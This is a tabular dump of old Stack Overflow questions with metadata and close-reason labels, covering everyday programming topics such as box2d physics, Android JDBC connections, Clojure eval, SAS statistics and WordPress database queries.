Note: I am using box2dweb. | javascript | box2d | null | null | null | null | open | box2d apply driving force and drag force
===
I want to make a circle move when the user applies a force(presses an arrow key), and also apply a drag force that is proportional to the speed of the circle. I've tried to do that:
var f = circle.GetLinearVelocity();
f.Multiply(-0.1);
circle.ApplyForce(f, circle.GetPosition());
f = new b2Vec2(leftRight*circle.GetMass(), upDown*circle.GetMass());
circle.ApplyForce(f, circle.GetPosition());
world.Step(1/60, 8, 3);
This does not work. It appears as though the forces on the ball are accumulating. I have tried applying a sum of the forces, and I have tried using ApplyImpulse instead, but have had no luck. Is there a proper way of accomplishing this?
Note: I am using box2dweb. | 0 |
9,416,560 | 02/23/2012 15:58:37 | 3,275 | 08/27/2008 16:13:12 | 1,023 | 52 | What is your favorite code editor for using on an Android phone? | My only time for hobby programming is on public transit using a myTouch 4G Slide, with no network access (underground). I've installed SL4A. The internal editor isn't usable because my keyboard does not have {} or []. I also installed the modified TextEdit apk, but I'm looking for something with line numbers and syntax highlighting for Ruby, HTML, JavaScript and maybe Python, TCL and Java.
Any suggestions? | android | editor | syntax-highlighting | android-softkeyboard | sl4a | 02/24/2012 16:30:00 | not constructive | What is your favorite code editor for using on an Android phone?
===
My only time for hobby programming is on public transit using a myTouch 4G Slide, with no network access (underground). I've installed SL4A. The internal editor isn't usable because my keyboard does not have {} or []. I also installed the modified TextEdit apk, but I'm looking for something with line numbers and syntax highlighting for Ruby, HTML, JavaScript and maybe Python, TCL and Java.
Any suggestions? | 4 |
1,308,949 | 08/20/2009 21:28:39 | 146,758 | 07/29/2009 00:08:44 | 25 | 0 | What is the best online wysiwyg edit out there? | I have read the read the relate questions. And I have used probably most of the better ones, namely, fckeditor, tinymce, ephox. And have looked at many others. None are really good editors.
Ephox was the best one in terms of editing. But it's a heavy java applet. The ideal solution would be a javascript based one. I am aware that the browser is the limiting factor and it will probably take one or more generations to get to where I want. Something that regular users can use for editing real documents (i.e. Legal Agreements, Letters, Statements) without going crazy because they cannot remove a table or size things the way they want.
Any suggestions? Anything new coming into the market? | wysiwyg | editor | browser | cross-browser | null | 08/21/2009 00:06:57 | not constructive | What is the best online wysiwyg edit out there?
===
I have read the read the relate questions. And I have used probably most of the better ones, namely, fckeditor, tinymce, ephox. And have looked at many others. None are really good editors.
Ephox was the best one in terms of editing. But it's a heavy java applet. The ideal solution would be a javascript based one. I am aware that the browser is the limiting factor and it will probably take one or more generations to get to where I want. Something that regular users can use for editing real documents (i.e. Legal Agreements, Letters, Statements) without going crazy because they cannot remove a table or size things the way they want.
Any suggestions? Anything new coming into the market? | 4 |
9,608,793 | 03/07/2012 20:46:38 | 531,984 | 12/06/2010 08:29:33 | 352 | 12 | Can Visual Studio 11 Beta be installed side by side with Visual Studio 2010? | Will the side-by-side installation of these 2 versions of Visual Studio interfere with each other if installed on the same machine? | visual-studio-2010 | visual-studio-11 | null | null | null | 06/14/2012 18:15:25 | too localized | Can Visual Studio 11 Beta be installed side by side with Visual Studio 2010?
===
Will the side-by-side installation of these 2 versions of Visual Studio interfere with each other if installed on the same machine? | 3 |
5,465,690 | 03/28/2011 22:14:51 | 681,041 | 03/28/2011 22:14:51 | 1 | 0 | PHP Simple HTML DOM Parser find string | I am using PHP simple DOM parser but it does not seem to have the functionality to search for text. I need to search for a string and find the parent id for it. Essentially the reverse of normal usage.
Anyone know how? | php | html | dom | null | null | null | open | PHP Simple HTML DOM Parser find string
===
I am using PHP simple DOM parser but it does not seem to have the functionality to search for text. I need to search for a string and find the parent id for it. Essentially the reverse of normal usage.
Anyone know how? | 0 |
1,021,498 | 06/20/2009 12:07:04 | 101,900 | 05/05/2009 22:58:42 | 16 | 1 | what's better opition? | procedure MyProc(Eval: Boolean);
begin
if not Eval then
Exit;
/* do stuff */
/* do more stuff */
end;
OR
procedure MyProc(Eval: Boolean);
begin
if Eval then
begin
/* do stuff */
/* do more stuff */
end;
/* no Exit needed, but now we got what I think unpleasing code:
having a indentation level and a begin-end statement */
end; | delphi | null | null | null | null | 12/23/2011 07:44:49 | not constructive | what's better opition?
===
procedure MyProc(Eval: Boolean);
begin
if not Eval then
Exit;
/* do stuff */
/* do more stuff */
end;
OR
procedure MyProc(Eval: Boolean);
begin
if Eval then
begin
/* do stuff */
/* do more stuff */
end;
/* no Exit needed, but now we got what I think unpleasing code:
having a indentation level and a begin-end statement */
end; | 4 |
6,914,453 | 08/02/2011 15:23:20 | 874,919 | 08/02/2011 15:16:10 | 1 | 0 | dealloc method gone from the ViewController implementation file template in Xcode 4? | I'm new to iOS development.
From the book I'm reading, I understand that Outlets need to be released in two places in the ViewController implementation file (.m).
Like this:
- (void)viewDidUnload {
self.statusText = nil;
}
- (void)dealloc {
[statusText release];
[super dealloc];
}
Apple automatically adds these two methods (viewDidUnload and dealloc) to the implementation file when you create a new project.
However, I noticed that with the new Xcode 4 the "dealloc" method does not seem to be there?
Is this something I should add manually or has Apple maybe removed the need to release the outlets in two places?
Anyone know? Thanks! | objective-c | ios | cocoa-touch | iphone-sdk-4.0 | xcode4 | null | open | dealloc method gone from the ViewController implementation file template in Xcode 4?
===
I'm new to iOS development.
From the book I'm reading, I understand that Outlets need to be released in two places in the ViewController implementation file (.m).
Like this:
- (void)viewDidUnload {
self.statusText = nil;
}
- (void)dealloc {
[statusText release];
[super dealloc];
}
Apple automatically adds these two methods (viewDidUnload and dealloc) to the implementation file when you create a new project.
However, I noticed that with the new Xcode 4 the "dealloc" method does not seem to be there?
Is this something I should add manually or has Apple maybe removed the need to release the outlets in two places?
Anyone know? Thanks! | 0 |
11,495,761 | 07/15/2012 21:29:19 | 1,236,977 | 02/28/2012 03:11:54 | 47 | 0 | Android MySQL Exception Error | I am attempting to perform a simple query on a database in an android application. But the program crashes every time the method is performed. Does anyone have any suggestions on how to fix this?
Here is the error log message:
> 07-15 17:20:23.623: ERROR/AndroidRuntime(544): Uncaught handler:
> thread main exiting due to uncaught exception 07-15 17:20:23.643:
> ERROR/AndroidRuntime(544): java.lang.VerifyError:
> com.mysql.jdbc.MysqlIO 07-15 17:20:23.643: ERROR/AndroidRuntime(544):
> at com.mysql.jdbc.Connection.createNewIO(Connection.java:2771) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> com.mysql.jdbc.Connection.<init>(Connection.java:1555) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:285)
> 07-15 17:20:23.643: ERROR/AndroidRuntime(544): at
> java.sql.DriverManager.getConnection(DriverManager.java:191) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> java.sql.DriverManager.getConnection(DriverManager.java:226)
Here is my connection:
String url = "jdbc:mysql://192.126.0.1:3306/";
String db = "db";
String driver = "com.mysql.jdbc.Driver";
String table = "table";
Connection conn = null;
try {
Class.forName(driver);
try {
conn = DriverManager.getConnection(url+db,"root","");
conn.close();
} catch (SQLException s) {
s.printStackTrace();
}
} catch (ClassNotFoundException cnfe){
System.out.println("ERROR");
} | android | jdbc | null | null | null | null | open | Android MySQL Exception Error
===
I am attempting to perform a simple query on a database in an android application. But the program crashes every time the method is performed. Does anyone have any suggestions on how to fix this?
Here is the error log message:
> 07-15 17:20:23.623: ERROR/AndroidRuntime(544): Uncaught handler:
> thread main exiting due to uncaught exception 07-15 17:20:23.643:
> ERROR/AndroidRuntime(544): java.lang.VerifyError:
> com.mysql.jdbc.MysqlIO 07-15 17:20:23.643: ERROR/AndroidRuntime(544):
> at com.mysql.jdbc.Connection.createNewIO(Connection.java:2771) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> com.mysql.jdbc.Connection.<init>(Connection.java:1555) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:285)
> 07-15 17:20:23.643: ERROR/AndroidRuntime(544): at
> java.sql.DriverManager.getConnection(DriverManager.java:191) 07-15
> 17:20:23.643: ERROR/AndroidRuntime(544): at
> java.sql.DriverManager.getConnection(DriverManager.java:226)
Here is my connection:
String url = "jdbc:mysql://192.126.0.1:3306/";
String db = "db";
String driver = "com.mysql.jdbc.Driver";
String table = "table";
Connection conn = null;
try {
Class.forName(driver);
try {
conn = DriverManager.getConnection(url+db,"root","");
conn.close();
} catch (SQLException s) {
s.printStackTrace();
}
} catch (ClassNotFoundException cnfe){
System.out.println("ERROR");
} | 0 |
2,463,817 | 03/17/2010 16:02:30 | 274,697 | 02/16/2010 20:13:01 | 66 | 14 | Should enumerators be placed in a separate file or within another class? | I currently have a class file with the following enumerator:
using System;
namespace Helper
{
public enum ProcessType
{
Word = 0,
Adobe = 1,
}
}
Or should I include the enumerator in the class where it's being used?
I noticed Microsoft creates a new class file for DockStyle:
using System;
using System.ComponentModel;
using System.Drawing.Design;
namespace System.Windows.Forms
{
public enum DockStyle
{
None = 0,
Top = 1,
Bottom = 2,
Left = 3,
Right = 4,.
Fill = 5,
}
} | c# | .net | enums | null | null | null | open | Should enumerators be placed in a separate file or within another class?
===
I currently have a class file with the following enumerator:
using System;
namespace Helper
{
public enum ProcessType
{
Word = 0,
Adobe = 1,
}
}
Or should I include the enumerator in the class where it's being used?
I noticed Microsoft creates a new class file for DockStyle:
using System;
using System.ComponentModel;
using System.Drawing.Design;
namespace System.Windows.Forms
{
public enum DockStyle
{
None = 0,
Top = 1,
Bottom = 2,
Left = 3,
Right = 4,.
Fill = 5,
}
} | 0 |
4,287,980 | 11/26/2010 19:14:53 | 57,997 | 01/22/2009 17:58:50 | 1,320 | 64 | Oracle and asp.net | I would like to do an extensive survey into what is the industry standard to use when accessing Oracle database (specifically invoking the stored procedures) from ASP.net code.
| asp.net | database | oracle | dataaccess | null | 11/28/2010 06:55:10 | not a real question | Oracle and asp.net
===
I would like to do an extensive survey into what is the industry standard to use when accessing Oracle database (specifically invoking the stored procedures) from ASP.net code.
| 1 |
447,676 | 01/15/2009 17:28:57 | 55,520 | 01/15/2009 17:01:12 | 1 | 1 | handling lookup tables with deleted records and databound controls | I have a table *Resource* with a field *Type*. *Type* is a lookup into the table *ResourceType*.
So for instance ResourceType might have:
1: Books
2: Candy
3: Both
And Resource might have
1: Tom's Grocery, 2
2: Freds News, 3
It would display as: Tom's Grocery Candy
Now lets say I am using a databound combobox for the resource type and the third record is deleted from ResourceType, we of course get an error when *Fred's News* is displayed. I could simply put a marker in (perhaps an asterisk), indicating that it has been deleted, rather than actually delete it. It shows up as **Both* in the textbox portion of the combo and I am content.
However, I would not want it to show up as an *option* in the dropdown. Is this too much to ask from databound fields? Must I write my own code to load the drop down? | c# | database | null | null | null | null | open | handling lookup tables with deleted records and databound controls
===
I have a table *Resource* with a field *Type*. *Type* is a lookup into the table *ResourceType*.
So for instance ResourceType might have:
1: Books
2: Candy
3: Both
And Resource might have
1: Tom's Grocery, 2
2: Freds News, 3
It would display as: Tom's Grocery Candy
Now lets say I am using a databound combobox for the resource type and the third record is deleted from ResourceType, we of course get an error when *Fred's News* is displayed. I could simply put a marker in (perhaps an asterisk), indicating that it has been deleted, rather than actually delete it. It shows up as **Both* in the textbox portion of the combo and I am content.
However, I would not want it to show up as an *option* in the dropdown. Is this too much to ask from databound fields? Must I write my own code to load the drop down? | 0 |
8,289,487 | 11/27/2011 22:07:21 | 962,489 | 09/24/2011 09:49:27 | 8 | 0 | Radius Around Point also known as Geofence in ASP.NET C# With Google Maps | Im developing an webapplication using asp.NET C#. I am currently using this map controller. http://googlemap.artembg.com/
What i want to do is that i want to make it possible for the user to click on the map and a marker should be seen exactly where the user clicked and a radius circle around that area, and it should be possible for the user to change the radius. I've search everywhere for some samples of this in ASP.Net c# but i can't find it. I want something like this: http://www.freemaptools.com/radius-around-point.htm
Any suggestions? | c# | asp.net | google-maps | google | geolocation | 11/28/2011 14:14:58 | not a real question | Radius Around Point also known as Geofence in ASP.NET C# With Google Maps
===
Im developing an webapplication using asp.NET C#. I am currently using this map controller. http://googlemap.artembg.com/
What i want to do is that i want to make it possible for the user to click on the map and a marker should be seen exactly where the user clicked and a radius circle around that area, and it should be possible for the user to change the radius. I've search everywhere for some samples of this in ASP.Net c# but i can't find it. I want something like this: http://www.freemaptools.com/radius-around-point.htm
Any suggestions? | 1 |
11,629,055 | 07/24/2012 10:37:29 | 1,532,353 | 07/17/2012 16:09:19 | 1 | 0 | Why javascript frameworks like backbone as we have ASP.Net MVC, Ajax and partial rendering | What is the need of Backbone.js and handlebars, because what we are doing in the Asp.net MVC is done here, but the problem is if we have lot of javascipt code in the project it will be hard to maintain and find errors, and more over we don’t have intellisense for javascript as we have in C# or other language.
And Javascript errors are more difficult to find, in javascript we didn't get any compile time errors even though the code is wrong, but in languages like C# we will get compile time error if code got some syntax error
And Javascript is not type safe for example an Array can contain any object(employee, customer and etc).
OOPS is not that much friendly, not interface concepts.
No call stack and etc …
Never seen javascript errors are logged in some persistence area.
i do understand it runs on client side and performance will be better to some extent, but I hope the same can be achieved using asp.net MVC. i am not opposing Javascript but want to understand the rationale behind these frameworks growing more nowadays | javascript | asp.net-mvc | backbone.js | null | null | 07/24/2012 16:44:05 | not a real question | Why javascript frameworks like backbone as we have ASP.Net MVC, Ajax and partial rendering
===
What is the need of Backbone.js and handlebars, because what we are doing in the Asp.net MVC is done here, but the problem is if we have lot of javascipt code in the project it will be hard to maintain and find errors, and more over we don’t have intellisense for javascript as we have in C# or other language.
And Javascript errors are more difficult to find, in javascript we didn't get any compile time errors even though the code is wrong, but in languages like C# we will get compile time error if code got some syntax error
And Javascript is not type safe for example an Array can contain any object(employee, customer and etc).
OOPS is not that much friendly, not interface concepts.
No call stack and etc …
Never seen javascript errors are logged in some persistence area.
i do understand it runs on client side and performance will be better to some extent, but I hope the same can be achieved using asp.net MVC. i am not opposing Javascript but want to understand the rationale behind these frameworks growing more nowadays | 1 |
9,387,275 | 02/22/2012 00:05:13 | 1,152,288 | 01/16/2012 16:41:05 | 6 | 0 | Mixing user's freedom and applications context | i'll try to be succinct with this.
i'm creating an app that allows you to challenge other users to do things. i could challenge you to squat 315 pounds. i could challenge you to squat 315 for 5 reps. i could challenge you to squat 315x5 by the end of march. or i could challenge you to read the entire harry potter series with no specific deadline, just do it before i do or i win.
the problem is that it i have to allow for great broadness but a small portion of granularity within that broadness, too.
i was thinking of setting it up with "I challenge ___USER___ to ___ACTION___." that's what you have to have: a challenger, challengee and a challenge for them to compete in.
then there could be an advanced options menu that you could access that would allow modifiers.
that being the case, the DB would have the 3 necessary values required: your uid, their uid and the action. then there could be extra paramaters that allow NULL: deadline, quantifier, type (e.g. pounds/kilos/miles/pages/books/etc), and any others i can think of.
does that sound doable? am i on the right track? i've been thinking about it tons and now i think i'm overthinking it, got in my head and want to make sure i'm heading the right way.
thanks for any help | php | mysql | database | codeigniter | null | 02/23/2012 02:12:30 | not constructive | Mixing user's freedom and applications context
===
i'll try to be succinct with this.
i'm creating an app that allows you to challenge other users to do things. i could challenge you to squat 315 pounds. i could challenge you to squat 315 for 5 reps. i could challenge you to squat 315x5 by the end of march. or i could challenge you to read the entire harry potter series with no specific deadline, just do it before i do or i win.
the problem is that it i have to allow for great broadness but a small portion of granularity within that broadness, too.
i was thinking of setting it up with "I challenge ___USER___ to ___ACTION___." that's what you have to have: a challenger, challengee and a challenge for them to compete in.
then there could be an advanced options menu that you could access that would allow modifiers.
that being the case, the DB would have the 3 necessary values required: your uid, their uid and the action. then there could be extra paramaters that allow NULL: deadline, quantifier, type (e.g. pounds/kilos/miles/pages/books/etc), and any others i can think of.
does that sound doable? am i on the right track? i've been thinking about it tons and now i think i'm overthinking it, got in my head and want to make sure i'm heading the right way.
thanks for any help | 4 |
2,021,278 | 01/07/2010 15:17:24 | 245,626 | 01/07/2010 15:07:59 | 1 | 0 | Starting Development for Google Chrome....Getting Started Issues! | Our organization has decided that my project will be developed for internal use with the Google Chrome browser. So yesterday I started looking around the internet for just how I would go about doing that.
I found the WebKit.org development tool and have been trying to install it using the instructions found here:
http://webkit.org/building/tools.html
I am installing on a Windows machine that does not have Visual Studio 2005, so following the directions I downloaded Visual C++ Express 2005. Now I am at:
<i>Install the Windows Server 2003 R2 Platform SDK, then follow steps 2 and 3 of “How to: Use Visual C++ Express Edition with the Microsoft Platform SDK.”</i>
Except I can't follow steps 2 and 3 because when I go to try and run the program all I have in the menu is:
Start -> Programs -> Visual C++ 2005 Express Edition -> Visual Studio Tools -> Visual Studio 2005 Command Prompt
which opens a command prompt.
Can anyone tell me what I've done incorrectly?
Additionally, do you HAVE to develop in WebKit? Or is that just the best way to work with the Chrome engine?
Thanks!
Leslie | webkit | google-chrome | visual-c++-2005 | null | null | null | open | Starting Development for Google Chrome....Getting Started Issues!
===
Our organization has decided that my project will be developed for internal use with the Google Chrome browser. So yesterday I started looking around the internet for just how I would go about doing that.
I found the WebKit.org development tool and have been trying to install it using the instructions found here:
http://webkit.org/building/tools.html
I am installing on a Windows machine that does not have Visual Studio 2005, so following the directions I downloaded Visual C++ Express 2005. Now I am at:
<i>Install the Windows Server 2003 R2 Platform SDK, then follow steps 2 and 3 of “How to: Use Visual C++ Express Edition with the Microsoft Platform SDK.”</i>
Except I can't follow steps 2 and 3 because when I go to try and run the program all I have in the menu is:
Start -> Programs -> Visual C++ 2005 Express Edition -> Visual Studio Tools -> Visual Studio 2005 Command Prompt
which opens a command prompt.
Can anyone tell me what I've done incorrectly?
Additionally, do you HAVE to develop in WebKit? Or is that just the best way to work with the Chrome engine?
Thanks!
Leslie | 0 |
5,757,682 | 04/22/2011 16:38:28 | 697,111 | 04/07/2011 15:36:38 | 113 | 0 | Easy brain stumper, a better algorithm. | This was at a community college. I failed it, but want to know the answer.
The problem is this: you have an 2d array of structs that represents an image. Each struct has a r,g,b & a values. There can be more info, but not required to solve the problem.
Say the image is 4000x4000 or 16 Million elements. Every element needs to be updated/checked on every turn.
For each element you need to:
* Set red bit to 50 if < 50 or set to 205 > 205
* Set green bit to random value between 0-255 using rand()
* Modify blue in an "interesting" way.
"You can't brute force this, think in a smarter way; you need a better algorithm"
I basically did a loop. I was the fastest but he said it was "about finding a better algorithm, not using using cute compiler and pointer tricks".
Also needs to be in pure C. No OpenMP/Threads or OpenGL shading, OpenCL, etc... just ANSI C with standard libs (even gnu/postfix libs were forbidden).
I asked about bitwise operations and he said that "those are very expensive in C [??] and it's about writing a fast and solid algorithm, not these cute tricks you keep coming up with".
So any hints? | c | algorithm | null | null | null | 04/24/2011 14:25:31 | not a real question | Easy brain stumper, a better algorithm.
===
This was at a community college. I failed it, but want to know the answer.
The problem is this: you have an 2d array of structs that represents an image. Each struct has a r,g,b & a values. There can be more info, but not required to solve the problem.
Say the image is 4000x4000 or 16 Million elements. Every element needs to be updated/checked on every turn.
For each element you need to:
* Set red bit to 50 if < 50 or set to 205 > 205
* Set green bit to random value between 0-255 using rand()
* Modify blue in an "interesting" way.
"You can't brute force this, think in a smarter way; you need a better algorithm"
I basically did a loop. I was the fastest but he said it was "about finding a better algorithm, not using using cute compiler and pointer tricks".
Also needs to be in pure C. No OpenMP/Threads or OpenGL shading, OpenCL, etc... just ANSI C with standard libs (even gnu/postfix libs were forbidden).
I asked about bitwise operations and he said that "those are very expensive in C [??] and it's about writing a fast and solid algorithm, not these cute tricks you keep coming up with".
So any hints? | 1 |
5,010,900 | 02/15/2011 23:51:11 | 529,289 | 12/03/2010 11:14:19 | 15 | 0 | rails-3, new comment form from a polymorphic association, accepts form submission but doesn't display submited data | I have a polymorphic comment model and on the show.html.erb for the posts_controller,i have a link 'add comments', where you can click to comment on a post. When you click the link, the 'new comment form' comes up but when you submit the form, the comment doesn't display or show up anywhere in the app.Here is the gist with some view files and controllers: https://gist.github.com/828400 and here is the model, schema.rb and log file: https://gist.github.com/828447, thanks. | ruby-on-rails | forms | polymorphic | null | null | null | open | rails-3, new comment form from a polymorphic association, accepts form submission but doesn't display submited data
===
I have a polymorphic comment model and on the show.html.erb for the posts_controller,i have a link 'add comments', where you can click to comment on a post. When you click the link, the 'new comment form' comes up but when you submit the form, the comment doesn't display or show up anywhere in the app.Here is the gist with some view files and controllers: https://gist.github.com/828400 and here is the model, schema.rb and log file: https://gist.github.com/828447, thanks. | 0 |
11,542,830 | 07/18/2012 13:43:33 | 1,516,628 | 07/11/2012 04:39:14 | 1 | 0 | How to get hotel and flight database like agoda,kayak and travelo | i want to make web travel like travelo,agoda and kayak. where to find api for hotel and flight database. my friend talk if they use ITA Software, that is true or no.? if need to buy the database where the right place to buy the data | php | xml | database | json | api | 07/18/2012 13:47:34 | off topic | How to get hotel and flight database like agoda,kayak and travelo
===
i want to make web travel like travelo,agoda and kayak. where to find api for hotel and flight database. my friend talk if they use ITA Software, that is true or no.? if need to buy the database where the right place to buy the data | 2 |
10,284,739 | 04/23/2012 16:46:43 | 914,555 | 08/26/2011 17:30:44 | 3 | 0 | Keynote: how to alter text of some Shape using an animation? | Using Keynote '09, I have added a default Shape to my slide and set its text to "Foo". I then added a 'Move' action so the shape moves a bit to the right. During this movement, I want to alter the text of my shape from "Foo" into "Bar", but the Inspector doesn't include such an option.
What are my options? I really don't want to use a second shape with "Bar" as its text. | text | apple | shape | presentation | keynote | 04/25/2012 12:41:08 | off topic | Keynote: how to alter text of some Shape using an animation?
===
Using Keynote '09, I have added a default Shape to my slide and set its text to "Foo". I then added a 'Move' action so the shape moves a bit to the right. During this movement, I want to alter the text of my shape from "Foo" into "Bar", but the Inspector doesn't include such an option.
What are my options? I really don't want to use a second shape with "Bar" as its text. | 2 |
6,182,201 | 05/31/2011 01:47:29 | 239,923 | 12/29/2009 02:07:52 | 311 | 7 | In SAS is there a way to compute the "canonical correlation" between two categorical variables using just a proc? | I have two char variables in a dataset. I want to compute the canonical correlation between the two. By that I mean I want to create some dummy variables from the two categorical variables and compute the canonical correlation that way. After looking through proc cancorr I can not find a way to do this without first manually converting the categorical variables to dummy variables first. Is there a way to do that in SAS? | statistics | sas | null | null | null | null | open | In SAS is there a way to compute the "canonical correlation" between two categorical variables using just a proc?
===
I have two char variables in a dataset. I want to compute the canonical correlation between the two. By that I mean I want to create some dummy variables from the two categorical variables and compute the canonical correlation that way. After looking through proc cancorr I can not find a way to do this without first manually converting the categorical variables to dummy variables first. Is there a way to do that in SAS? | 0 |
8,662,489 | 12/28/2011 23:35:05 | 614,662 | 02/13/2011 00:13:23 | 28 | 1 | eval a list into a let on clojure | My problem is the next, i try to evaluate a list with some vars using a let to asign values to this vars
if i do `(def a (list * 'x 'y))` and `(let [x 3 y 3] (eval a))` I have a
CompilerException java.lang.RuntimeException: Unable to resolve symbol: x in this context, compiling:(NO_SOURCE_PATH:6)
but if I run
`(def x 4) (def y 4)` and `(eval a)` i have a 16, anyway if I run again `(let [x 3 y 3] (eval a))` again I have 16,
exist a method to binding the x and y correctly and eval the list?
ty! | binding | clojure | eval | let | null | null | open | eval a list into a let on clojure
===
My problem is the next, i try to evaluate a list with some vars using a let to asign values to this vars
if i do `(def a (list * 'x 'y))` and `(let [x 3 y 3] (eval a))` I have a
CompilerException java.lang.RuntimeException: Unable to resolve symbol: x in this context, compiling:(NO_SOURCE_PATH:6)
but if I run
`(def x 4) (def y 4)` and `(eval a)` i have a 16, anyway if I run again `(let [x 3 y 3] (eval a))` again I have 16,
exist a method to binding the x and y correctly and eval the list?
ty! | 0 |
5,627,084 | 04/11/2011 20:21:56 | 702,888 | 04/11/2011 20:21:56 | 1 | 0 | c - some problem with byte xor | I have to make some binary xor on 2 byte buffers. one is an encoding key, the other the encoded value.
at the moment my code looks like this:
BYTE key[]={"somekey"}
BYTE value[]={"somevalue"};
for(i= 0; i < vallLength; i++)
{
valBuf[i] = value[i] ^ key[i % keyLength];
}
this does not work for me. what am i doing wrong? | c | xor | null | null | null | 04/11/2011 21:19:16 | not a real question | c - some problem with byte xor
===
I have to make some binary xor on 2 byte buffers. one is an encoding key, the other the encoded value.
at the moment my code looks like this:
BYTE key[]={"somekey"}
BYTE value[]={"somevalue"};
for(i= 0; i < vallLength; i++)
{
valBuf[i] = value[i] ^ key[i % keyLength];
}
this does not work for me. what am i doing wrong? | 1 |
1,028,908 | 06/22/2009 19:10:41 | 42,595 | 12/02/2008 19:47:03 | 1,251 | 20 | How can svn co give a "directory already exists error"? | svn co svn+ssh://myhost/path/projectname/trunk projectname
[...]
svn: Failed to add directory 'projectname/test/.svn': an unversioned
directory of the same name already exists
How is that possible??
I'm checking out into an empty dir.
Same error checking out to Windows and OS X.
| svn | null | null | null | null | null | open | How can svn co give a "directory already exists error"?
===
svn co svn+ssh://myhost/path/projectname/trunk projectname
[...]
svn: Failed to add directory 'projectname/test/.svn': an unversioned
directory of the same name already exists
How is that possible??
I'm checking out into an empty dir.
Same error checking out to Windows and OS X.
| 0 |
11,334,746 | 07/04/2012 19:51:09 | 1,209,710 | 02/14/2012 18:18:57 | 1 | 0 | capture the value from a Batch file | How to initial a value which is returned from a batch file
Eg: I am getting a line from a file in a batch file. I need to assign that line to a variable
Any help please? | ms-dos | null | null | null | null | 07/06/2012 12:24:16 | not a real question | capture the value from a Batch file
===
How to initial a value which is returned from a batch file
Eg: I am getting a line from a file in a batch file. I need to assign that line to a variable
Any help please? | 1 |
7,383,280 | 09/12/2011 04:18:45 | 700,254 | 04/09/2011 19:39:14 | 224 | 19 | Android Draw on top of an EditText, Spinner or Button | what I want to achieve is this:
![enter image description here][1]
As you can see there is are two tiny, yellow triangles (warning signs) in the EdiTtexts. I read, it's possible to achieve that by using Relative layout and simply have the images overlap the EditText. This however is not an option as I am writing a library project and can't limit the user to one particular layout type (such as RelativeLayout). Alternatively I read, it can be done in the onDraw method of a view. However, I will have no access to the onDraw method (or rather now way of overriding it). The one thing I have access to, is the Views itslef (like Spinner, EditText) or alternatively their wrapping view (Like LinearLayout etc...).
One idea was to simply obtain the x/y coordinates of the View on which I want to draw that warning sign, but although I am able to get the coordinates I am quite at a loss as to how to actually do the drawing on the obtained view.
On an additional note: I am using code to generate the layout from non-android layout-xml files. That only matters in so far, that I am afraid android-layout-xml-based solutions are not an option. Furthermore I have to be able to dynamically add/remove those image overlays.
Please let me know, if there are further questions.
Thank you very much in advance & Best regards,
Ready4Android
[1]: http://i.stack.imgur.com/IiII5.jpg | android | android-layout | view | android-widget | null | null | open | Android Draw on top of an EditText, Spinner or Button
===
what I want to achieve is this:
![enter image description here][1]
As you can see there is are two tiny, yellow triangles (warning signs) in the EdiTtexts. I read, it's possible to achieve that by using Relative layout and simply have the images overlap the EditText. This however is not an option as I am writing a library project and can't limit the user to one particular layout type (such as RelativeLayout). Alternatively I read, it can be done in the onDraw method of a view. However, I will have no access to the onDraw method (or rather now way of overriding it). The one thing I have access to, is the Views itslef (like Spinner, EditText) or alternatively their wrapping view (Like LinearLayout etc...).
One idea was to simply obtain the x/y coordinates of the View on which I want to draw that warning sign, but although I am able to get the coordinates I am quite at a loss as to how to actually do the drawing on the obtained view.
On an additional note: I am using code to generate the layout from non-android layout-xml files. That only matters in so far, that I am afraid android-layout-xml-based solutions are not an option. Furthermore I have to be able to dynamically add/remove those image overlays.
Please let me know, if there are further questions.
Thank you very much in advance & Best regards,
Ready4Android
[1]: http://i.stack.imgur.com/IiII5.jpg | 0 |
10,575,385 | 05/13/2012 21:25:43 | 1,149,982 | 01/15/2012 02:16:41 | 23 | 6 | $wpdb, ezSQL class escape/filter or not? | My question is about $wpdb methods in wordpress. Before running these methosd for example:
$wpdb->query
$wpdb->get_results
$wpdb->get_var ...
are we need to escape/filter inputs? Is this required/prefered for every method or only some?
Is this enough for example to deal with all ilegal chars (example from wordpress codex) :
$wpdb->query(
$wpdb->prepare(
"DELETE FROM $wpdb->postmeta
WHERE post_id = '13'
AND meta_key = 'gargle'
"
,$id, $key )
);
Tnx | php | wordpress | methods | wpdb | null | null | open | $wpdb, ezSQL class escape/filter or not?
===
My question is about $wpdb methods in wordpress. Before running these methosd for example:
$wpdb->query
$wpdb->get_results
$wpdb->get_var ...
are we need to escape/filter inputs? Is this required/prefered for every method or only some?
Is this enough for example to deal with all ilegal chars (example from wordpress codex) :
$wpdb->query(
$wpdb->prepare(
"DELETE FROM $wpdb->postmeta
WHERE post_id = '13'
AND meta_key = 'gargle'
"
,$id, $key )
);
Tnx | 0 |
5,511,384 | 04/01/2011 09:15:50 | 284,473 | 03/02/2010 14:26:08 | 16 | 6 | How to interpret results from the sp_spaceused command with regards to indexes | In the famous words of Einstein: Know where to find information and how to use it.
First part – Check. Second part – this is where I got stuck.
I’m investigating Indexes on tables, but am not quite sure what to make of the results for the IndexSize when I exec the sp_spaceused stored procedure in SQL.
Firstly, can I use the ratio between IndexSize and DataSize to make a call on wheter or not the indexes are optimal? For example, if my DataSize for a table is 31 261 768KB and the IndexSize is 41 682 120KB, I divide indexSize/DataSize *100 and get a ratio of 133. Is what I’m doing correct?
If it is correct, is an IndexSize-ratio of more than 100% bad?
What would a good ratio then be?
If I need to review indexes of more than 2000 tables, where do I start given the information from the sp_spaceused command?
Thanks,
| sql-server-2005 | null | null | null | null | null | open | How to interpret results from the sp_spaceused command with regards to indexes
===
In the famous words of Einstein: Know where to find information and how to use it.
First part – Check. Second part – this is where I got stuck.
I’m investigating Indexes on tables, but am not quite sure what to make of the results for the IndexSize when I exec the sp_spaceused stored procedure in SQL.
Firstly, can I use the ratio between IndexSize and DataSize to make a call on wheter or not the indexes are optimal? For example, if my DataSize for a table is 31 261 768KB and the IndexSize is 41 682 120KB, I divide indexSize/DataSize *100 and get a ratio of 133. Is what I’m doing correct?
If it is correct, is an IndexSize-ratio of more than 100% bad?
What would a good ratio then be?
If I need to review indexes of more than 2000 tables, where do I start given the information from the sp_spaceused command?
Thanks,
| 0 |
